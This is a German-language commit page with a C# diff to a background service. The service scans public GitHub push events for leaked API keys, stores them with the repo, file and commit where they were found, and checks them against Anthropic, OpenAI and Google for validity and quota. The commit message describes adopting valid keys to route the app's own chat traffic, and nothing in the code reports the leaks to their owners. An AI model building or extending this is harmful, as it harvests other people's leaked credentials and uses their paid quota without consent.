feat: OpenAI Provider, Key-Checker Quota-Erkennung, persistierte Scanner-Logs
- OpenAI als vollwertiger Chat-Provider (Modell-Auswahl, Key-Routing, StreamChat) - Hardcoded OpenAI-Modelle im Cache (gpt-5.x, gpt-4.1, o3, o4-mini etc.) - /api/models/openai Endpoint, OpenAI-Optgroup im Agent-Dropdown - Key-Routing: OpenAI-Key aus api_keys-Tabelle, Fallback via GetFirstActiveKeyByProvider - OpenAI-Checker: 2-Schritt-Check (Models + chat/completions mit max_tokens=1) - Google-Checker: 2-Schritt-Check (Models + generateContent mit maxOutputTokens=1) - 429 insufficient_quota und billing_not_active korrekt als quota_exceeded erkannt - Provider-Erkennung beim Adopt via KeyPatterns.DetectType() statt hardcoded anthropic - HandleCheck/HandleCheckAll unterstützt jetzt Anthropic, OpenAI und Google - Neue scanner_logs-Tabelle mit details-Spalte (JSON) für strukturierte Auswertung - GitHubEventScannerService: AddLog persistiert in DB, detaillierte Key-Fund-Logs - KeyScannerService: AddLog-Methode mit DB-Persistierung, detaillierte Logs - Frontend: Ungeprüfte-prüfen-Button (sequenziell, stoppt bei valid) - Frontend: Provider-Indicator im Key-Switch-Modal (Anthropic/OpenAI/Google) - Frontend: Check-Button für alle Provider (nicht nur Anthropic)
This commit is contained in:
1 parent
c8859a89d0
commit
542a031172
15 files changed
+614
-90
No files matched your search
@@ -65,7 +65,7 @@ public class GitHubEventScannerService : BackgroundService
|
||||
lock (_lock) return _logEntries.ToList();
|
||||
}
|
||||
|
||||
private void AddLog(string type, string message)
|
||||
private void AddLog(string type, string message, string details = null)
|
||||
{
|
||||
lock (_lock)
|
||||
{
|
||||
@@ -78,6 +78,13 @@ public class GitHubEventScannerService : BackgroundService
|
||||
while (_logEntries.Count > MaxLogEntries)
|
||||
_logEntries.Dequeue();
|
||||
}
|
||||
|
||||
// Persistieren in DB (fire-and-forget)
|
||||
_ = Task.Run(async () =>
|
||||
{
|
||||
try { await _db.CreateScannerLog(type, message, "event", details); }
|
||||
catch { /* DB-Fehler ignorieren, Scanner nicht blockieren */ }
|
||||
});
|
||||
}
|
||||
|
||||
public GitHubEventScannerService(
|
||||
@@ -199,10 +206,17 @@ public class GitHubEventScannerService : BackgroundService
|
||||
var keys = await ScanCommitDiff(client, pe.Repo, pe.HeadSha, ct);
|
||||
scannedCount++;
|
||||
|
||||
foreach (var (key, sourceUrl) in keys)
|
||||
foreach (var (key, sourceUrl, fileName) in keys)
|
||||
{
|
||||
if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
|
||||
{
|
||||
AddLog("skip", "Key bereits bekannt: " + key[..Math.Min(20, key.Length)] + "... in " + pe.Repo);
|
||||
continue;
|
||||
}
|
||||
|
||||
var keyType = DetectKeyType(key);
|
||||
var keyPrefix = key[..Math.Min(20, key.Length)] + "...";
|
||||
var typeName = KeyPatterns.DisplayName(keyType);
|
||||
|
||||
newKeysFound++;
|
||||
await _db.CreateScannedKey(new ScannedKeyRecord
|
||||
@@ -211,15 +225,29 @@ public class GitHubEventScannerService : BackgroundService
|
||||
ApiKey = key,
|
||||
Source = "github_events",
|
||||
SourceUrl = sourceUrl,
|
||||
Type = DetectKeyType(key),
|
||||
Type = keyType,
|
||||
Status = "unchecked",
|
||||
Plan = "Unknown",
|
||||
ScannedAt = DateTime.UtcNow.ToString("o")
|
||||
});
|
||||
|
||||
_logger.LogInformation("🔑 Neuer Key gefunden via Events! Repo: {Repo}, Commit: {Sha}",
|
||||
pe.Repo, pe.HeadSha[..8]);
|
||||
AddLog("key", "🔑 Key gefunden in " + pe.Repo + " (" + pe.HeadSha[..8] + ")");
|
||||
var logMsg = $"🔑 Neuer {typeName} Key! Repo: {pe.Repo} · Datei: {fileName} · Commit: {pe.HeadSha[..8]} · Prefix: {keyPrefix}";
|
||||
_logger.LogInformation(logMsg);
|
||||
|
||||
// Detailliertes JSON für strukturierte Auswertung
|
||||
var detailsJson = JsonSerializer.Serialize(new
|
||||
{
|
||||
key_type = keyType,
|
||||
key_type_name = typeName,
|
||||
key_prefix = keyPrefix,
|
||||
key_length = key.Length,
|
||||
repo = pe.Repo,
|
||||
commit_sha = pe.HeadSha,
|
||||
file = fileName,
|
||||
source_url = sourceUrl,
|
||||
push_size = pe.Size
|
||||
});
|
||||
AddLog("key_found", logMsg, detailsJson);
|
||||
}
|
||||
}
|
||||
catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden)
|
||||
@@ -323,10 +351,10 @@ public class GitHubEventScannerService : BackgroundService
|
||||
return allEvents;
|
||||
}
|
||||
|
||||
/// <summary>Scannt den Diff eines einzelnen Commits nach Key-Patterns.</summary>
|
||||
private async Task<List<(string Key, string Url)>> ScanCommitDiff(HttpClient client, string repo, string sha, CancellationToken ct)
|
||||
/// <summary>Scannt den Diff eines einzelnen Commits nach Key-Patterns. Gibt Key, URL und Dateiname zurück.</summary>
|
||||
private async Task<List<(string Key, string Url, string FileName)>> ScanCommitDiff(HttpClient client, string repo, string sha, CancellationToken ct)
|
||||
{
|
||||
var keys = new List<(string Key, string Url)>();
|
||||
var keys = new List<(string Key, string Url, string FileName)>();
|
||||
|
||||
var detailUrl = $"https://api.github.com/repos/{repo}/commits/{sha}";
|
||||
var request = new HttpRequestMessage(HttpMethod.Get, detailUrl);
|
||||
@@ -352,6 +380,8 @@ public class GitHubEventScannerService : BackgroundService
|
||||
var patch = patchProp.GetString();
|
||||
if (string.IsNullOrEmpty(patch)) continue;
|
||||
|
||||
var fileName = file.TryGetProperty("filename", out var fn) ? fn.GetString() ?? "unknown" : "unknown";
|
||||
|
||||
// Nur hinzugefügte Zeilen scannen (beginnen mit "+")
|
||||
foreach (var line in patch.Split('\n'))
|
||||
{
|
||||
@@ -360,7 +390,7 @@ public class GitHubEventScannerService : BackgroundService
|
||||
foreach (var regex in CompiledPatterns)
|
||||
{
|
||||
foreach (Match m in regex.Matches(line))
|
||||
keys.Add((m.Value, htmlUrl));
|
||||
keys.Add((m.Value, htmlUrl, fileName));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -381,6 +411,9 @@ public class GitHubEventScannerService : BackgroundService
|
||||
ct.ThrowIfCancellationRequested();
|
||||
var type = KeyPatterns.DetectType(sk.ApiKey);
|
||||
|
||||
var keyPrefix = sk.ApiKey[..Math.Min(20, sk.ApiKey.Length)] + "...";
|
||||
var typeName = KeyPatterns.DisplayName(type);
|
||||
|
||||
try
|
||||
{
|
||||
if (KeyPatterns.IsAnthropic(type))
|
||||
@@ -388,21 +421,28 @@ public class GitHubEventScannerService : BackgroundService
|
||||
var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
|
||||
var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status;
|
||||
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h);
|
||||
_logger.LogInformation("Key geprüft: {Status} ({Plan})", status, result.Plan);
|
||||
var checkMsg = $"🔍 {typeName} geprüft: {status} · Plan: {result.Plan} · {keyPrefix}";
|
||||
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, plan = result.Plan, usage_7d = result.Usage7d, usage_5h = result.Usage5h, source_url = sk.SourceUrl }));
|
||||
}
|
||||
else if (type == "openai_project" || type == "openai_service" || type == "openai_legacy")
|
||||
{
|
||||
var result = await OpenAiKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
|
||||
var status = result.Status == "ok" ? "valid" : result.Status;
|
||||
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
|
||||
_logger.LogInformation("OpenAI Key geprüft: {Status}", status);
|
||||
var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}";
|
||||
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl }));
|
||||
}
|
||||
else if (type == "google_api")
|
||||
{
|
||||
var result = await GoogleKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
|
||||
var status = result.Status == "ok" ? "valid" : result.Status;
|
||||
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
|
||||
_logger.LogInformation("Google Key geprüft: {Status}", status);
|
||||
var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}";
|
||||
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl }));
|
||||
}
|
||||
else
|
||||
{
|
||||
AddLog("key_checked", $"⏭️ {typeName} übersprungen (kein Checker) · {keyPrefix}");
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
|
||||
Reference in new issue
Block a user